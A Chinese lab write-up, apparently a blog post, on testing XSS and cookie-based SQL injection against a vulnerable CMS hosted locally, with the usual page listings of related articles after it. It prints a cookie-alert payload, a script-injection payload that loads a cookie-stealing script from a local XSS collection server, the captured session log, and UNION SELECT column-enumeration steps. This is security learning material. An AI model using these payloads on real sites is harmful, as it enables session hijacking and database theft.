xss和sql注入学习1
在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法。
使用phpStudy工具搭建一个美食CMS网站平台。

0x01 xss测试
打开调试模式,定位姓名栏输入框:

尝试在value中插入xss攻击代码:
123"><script>alert(document.cookie);</script></td><td>
点击更新,成功弹出该网站登录后的cookie信息。说明这个输入框没有对<script>标签进行过滤。

如果希望将这个cookie发到自己的xss平台,可以构造如下输入:
" /></td><script src=\"http://127.0.0.1:9999/static/get.js\"></script><td>
http://127.0.0.1:9999/static/get.js为本地xss平台中获取cookie等信息的代码。
可以在本地看到如下信息:包括cookie,user_agent,ipaddress等信息。
id: 2J1h
location: http://www.xdcms.com/index.php?m=member&f=edit
toplocation: http://www.xdcms.com/index.php?m=member&f=edit
cookie: PHPSESSID=7urapqfnc9cchs31lfu38u0pi4; member_user=xdcms; member_userid=3
opener:
http_user_agent Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
http_addr 127.0.0.1
[30/Oct/2017 16:04:36] "GET /?do=api&id=2J1h&location=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&toplocation=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&cookie=PHPSESSID%3D7urapqfnc9cchs31lfu38u0pi4%3B%20member_user%3Dxdcms%
3B%20member_userid%3D3&opener= HTTP/1.1" 200 3
查看后台数据库,发现该段代码被写入了数据库,不知道是否算存储型xss???总之,这样每次刷新页面时,都会向xss平台发送cookie信息。

0x02 sql注入测试
走读后台php的代码,发现该输入界面与mysql的交互语句:

输入参数$userid来自cookie的member_userid参数,因此这里采用cookie注入的方法。
下载一个cookie修改插件,修改member_userid

member_userid=1的时候,姓名为test,可见可以通过修改这个cookie值读取数据库。
使用union select尝试获取更多数据库信息。
测试发现member_userid=4的时候,姓名电话为空,说明数据库只有3条记录;
union select 1,2,……时,出现如下报错:

have a different number of columns,说明union select的列数与表的列数不相等,尝试发现到15的时候才不出现报错:

从该显示可以看出,用户名,手机号码,姓名,安全邮箱,联系地址分别为表的第3,13,12,15,14列。可以在这些地方输出数据库信息。

xss和sql注入学习1的更多相关文章
- 总结了关于PHP xss 和 SQL 注入的问题(转)
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...
- 关于PHP xss 和 SQL 注入的问题
漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- DFX 安全测试-- 告诉你什么是XSS、sql注入?POST和GET的区别....
1.用户权限测试 (1) 用户权限控制 1) 用户权限控制主要是对一些有权限控制的功能进行验证 2) 用户A才能进行的操作,B是否能够进行操作(可通过窜session,将在下面介绍) 3)只能有A条件 ...
- XSS攻击&SQL注入攻击&CSRF攻击?
- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...
- Spring MVC 如何防止XSS、SQL注入攻击
在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
随机推荐
- 查询MS SQL的版本号
可以使用全局变量@@VERSION或者是使用SERVERPROPERTY()函数: 参考: SELECT @@VERSION SELECT SERVERPROPERTY('Edition') Sour ...
- Vue之计算属性Computed和属性监听Watch,Computed和Watch的区别
一. 计算属性(computed) 1.计算属性是为了模板中的表达式简洁,易维护,符合用于简单运算的设计初衷. 例如: <div id="app"> {{ myname ...
- php ./configure的一些参数及意义
PHP编译参数的含义 ./configure –prefix=/usr/local/php php安装目录 –with-apxs2=/usr/local/apache/bin/apxs –with-c ...
- <packaging>pom</packaging>是什么意思
<packaging>pom</packaging>是什么意思? 答: 以下配置<packaging>pom</packaging>的意思是使用mave ...
- vim编辑超大文件
进入大文件(12g,250w+ lines),vim,耐心等待 有两种方法编辑删除冗余字段 1.set number ,可以通过:+数字组合跳到指定行,输入命令 ":100,200d&q ...
- 消息驱动微服务:Spring Cloud Stream
最近在学习Spring Cloud的知识,现将消息驱动微服务:Spring Cloud Stream 的相关知识笔记整理如下.[采用 oneNote格式排版]
- c++标准库与对应的函数
#include <algorithm> sort(obj.begin(),obj.end());//从小到大 reverse(obj.begin(),obj.end());//从大到小 ...
- java script 内置对象
java script 内置对象 Date 日期对象 字符串对象 定义字符串的方法就是直接赋值 使用 String 对象的 toUpperCase() 方法来将字符串小写字母转换为大写,反之 toLo ...
- hdu 1011 Starship Troopers(树上背包)
Problem Description You, the leader of Starship Troopers, are sent to destroy a base of the bugs. Th ...
- spring gzip 静态压缩优化
HTTP 压缩可以大大提高浏览网站的速度,它的原理是,在客户端请求网页后,从服务器端将网页文件压缩,再下载到客户端,由客户端的浏览器负责解压缩并浏览.相对 于普通的浏览过程HTML ,CSS,Java ...